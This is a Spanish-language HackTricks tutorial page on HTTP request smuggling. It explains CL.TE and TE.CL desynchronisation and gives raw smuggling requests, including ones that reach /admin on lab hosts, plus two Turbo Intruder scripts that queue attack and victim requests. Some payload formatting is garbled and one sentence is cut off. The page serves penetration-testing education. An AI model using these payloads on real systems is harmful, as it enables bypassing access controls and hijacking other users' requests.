20 KiB
Ataque de Desincronización de Petición HTTP / Ataque de Desincronización de HTTP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de exclusivos NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
¿Qué es?
Esta vulnerabilidad ocurre cuando una desincronización entre los proxies de front-end y el servidor back-end permite a un atacante enviar una petición HTTP que será interpretada como una única petición por los proxies de front-end (balance de carga / proxy inverso) y como 2 peticiones por el servidor back-end.
Esto permite a un usuario modificar la siguiente petición que llega al servidor back-end después de la suya.
Teoría
Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
Content-Length
El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.
Transfer-Encoding: chunked
El encabezado de Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.
Chunked significa que se envían datos grandes en una serie de fragmentos.
Realidad
El front-end (un balanceador de carga / proxy inverso) procesa el encabezado de content-length o el de transfer-encoding y el servidor back-end procesa el otro, provocando una desincronización entre los 2 sistemas.
Esto podría ser muy crítico ya que un atacante podrá enviar una petición al proxy inverso que será interpretada por el servidor back-end como 2 peticiones diferentes. El peligro de esta técnica reside en el hecho de que el servidor back-end interpretará la 2ª petición inyectada como si hubiera venido del siguiente cliente y la petición real de ese cliente será parte de la petición inyectada.
Particularidades
Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:
- Content-Length: Este encabezado utiliza un número decimal para indicar el número de bytes del cuerpo de la petición. Se espera que el cuerpo termine en el último carácter, no se necesita una nueva línea al final de la petición.
- Transfer-Encoding: Este encabezado utiliza en el cuerpo un número hexadecimal para indicar el número de bytes del siguiente fragmento. El fragmento debe terminar con una nueva línea pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un fragmento de tamaño 0 seguido de 2 nuevas líneas:
0
- Connection: En base a mi experiencia, se recomienda usar
Connection: keep-alive
en la primera petición del ataque de desincronización de petición.
Ejemplos básicos
Entonces, los ataques de desincronización de petición implican colocar tanto el encabezado Content-Length
como el encabezado Transfer-Encoding
en una sola petición HTTP y manipularlos de manera que los servidores de front-end y back-end procesen la petición de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
- CL.TE: el servidor de front-end utiliza el encabezado
Content-Length
y el servidor de back-end utiliza el encabezadoTransfer-Encoding
. - TE.CL: el servidor de front-end utiliza el encabezado
Transfer-Encoding
y el servidor de back-end utiliza el encabezadoContent-Length
. - TE.TE: los servidores de front-end y back-end admiten el encabezado
Transfer-Encoding
, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.
Vulnerabilidades CL.TE
Aquí, el servidor de front-end utiliza el encabezado Content-Length
y el servidor de back-end utiliza el encabezado Transfer-Encoding
. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x
Observa cómo Content-Length
indica que la longitud del cuerpo de la petición es de 30 bytes (recuerda que HTTP utiliza una nueva línea, por lo que son 2 bytes por cada nueva línea), por lo que el proxy inverso enviará la petición completa al servidor back-end, y el servidor back-end procesará el encabezado Transfer-Encoding
, dejando GET /404 HTTP/1.1
como el inicio de la siguiente petición (por cierto, la siguiente petición se agregará a Foo:x<La siguiente petición comienza aquí>
).
Vulnerabilidades TE.CL
Aquí, el servidor de front-end utiliza el encabezado Transfer-Encoding
y el servidor de back-end utiliza el encabezado Content-Length
. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
``\ 7b
\ GET /404 HTTP/1.1
\ `Host
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
Dado que el servidor de front-end utiliza el encabezado Content-Length
, solo reenviará parte de esta solicitud, omitiendo el 0
. El servidor de back-end utiliza el encabezado Transfer-Encoding
, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará una demora observable en el tiempo.
A veces, en lugar de recibir un tiempo de espera agotado, se recibe una solicitud incorrecta 400 del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:
Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión del haproxy utilizado:
Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
Si una aplicación es vulnerable a la variante TE.CL de la manipulación de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará una demora en el tiempo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
Dado que el servidor de front-end utiliza el encabezado Transfer-Encoding
, solo reenviará parte de esta solicitud, omitiendo la X
. El servidor de back-end utiliza el encabezado Content-Length
, espera más contenido en el cuerpo del mensaje y espera que llegue el contenido restante. Esto causará un retraso observable en el tiempo.
Sondeando vulnerabilidades de solicitud HTTP Smuggling
Una vez que haya encontrado que las técnicas de temporización están funcionando, debe sondear que puede alterar las solicitudes de otros clientes.
La forma más fácil de hacer esto es intentar envenenar sus propias solicitudes, hacer una solicitud para /
y devolver un 404, por ejemplo.
En los Ejemplos Básicos ya vimos ejemplos de CL.TE
y TE.CL
de cómo envenenar la solicitud de un cliente para solicitar /404
, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
Notas
Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de solicitud de contrabando a través de la interferencia con otras solicitudes:
- La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no demostrará que existe la vulnerabilidad.
- La solicitud "ataque" y la solicitud "normal" deben usar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes de front-end a diferentes servidores de back-end según la URL y los parámetros. Usar la misma URL y los mismos parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor de back-end, lo que es esencial para que funcione el ataque.
- Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", está en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debe enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que deba realizar varios intentos para confirmar la vulnerabilidad.
- En algunas aplicaciones, el servidor de front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas de back-end según algún algoritmo de equilibrio de carga. Si sus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas de back-end, entonces el ataque fallará. Esta es una razón adicional por la cual es posible que deba intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
- Si su ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que envió para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por su ataque. Si continúa realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, y debe tener precaución.
Forzando a través de encabezados hop-by-hop
Abusando de los encabezados hop-by-hop, podría indicarle al proxy que elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling.
Connection: Content-Lentgh
Para más información sobre las cabeceras hop-by-hop visita:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Abusando de HTTP Request Smuggling
Para evadir controles de seguridad del front-end
A veces, los proxies del front-end realizarán algunas verificaciones de seguridad. Puedes evitarlas abusando de HTTP Request Smuggling, ya que podrás evadir las protecciones. Por ejemplo, en este ejemplo no puedes acceder a /admin
desde el exterior y el proxy del front-end lo está comprobando, pero este proxy no está comprobando la solicitud incrustada:
CL.TE
POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=
TE.CL
POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\
Revelando la reescritura de solicitudes del front-end
En muchas aplicaciones, el servidor del front-end realiza alguna reescritura de solicitudes antes de que se reenvíen al servidor del back-end, normalmente agregando algunas cabeceras de solicitud adicionales.
Una cosa común que se hace es agregar a la solicitud la cabecera X-Forwarded-For: <IP del cliente>
o alguna cabecera similar para que el back-end conozca la IP del cliente.
A veces, si puedes encontrar qué nuevos valores se agregan a la solicitud, podrías ser capaz de evadir protecciones y acceder a información/endpoint ocultos.
Para descubrir cómo el proxy está reescribiendo la solicitud, necesitas encontrar un parámetro POST que el back-end reflejará en la respuesta. Luego, usa este parámetro como el último y usa un exploit como este:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=
En este caso, la siguiente solicitud se agregará después de search=
, que también
Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Scripts de Turbo Intruder
CL.TE
Desde https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Desde: https://hipotermia.pw/bb/http-desync-account-takeover
Descripción
TE.CL es una técnica de smuggling HTTP que se aprovecha de la forma en que los servidores proxy manejan las cabeceras Transfer-Encoding y Content-Length. Esta técnica se basa en enviar una solicitud HTTP con dos conjuntos de cabeceras Content-Length y Transfer-Encoding que se procesan de manera diferente por el servidor proxy y el servidor de origen. Esto puede llevar a una variedad de problemas, incluyendo la ejecución de ataques de desincronización HTTP y la toma de control de cuentas.
Referencias
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2020/july/http-desync-attacks-what-happened-next/
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Más información
Herramientas
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas de smuggling de solicitudes.
Referencias
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección de NFTs exclusivos.
-
Obtén el swag oficial de PEASS y HackTricks.
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR a los repositorios hacktricks y hacktricks-cloud.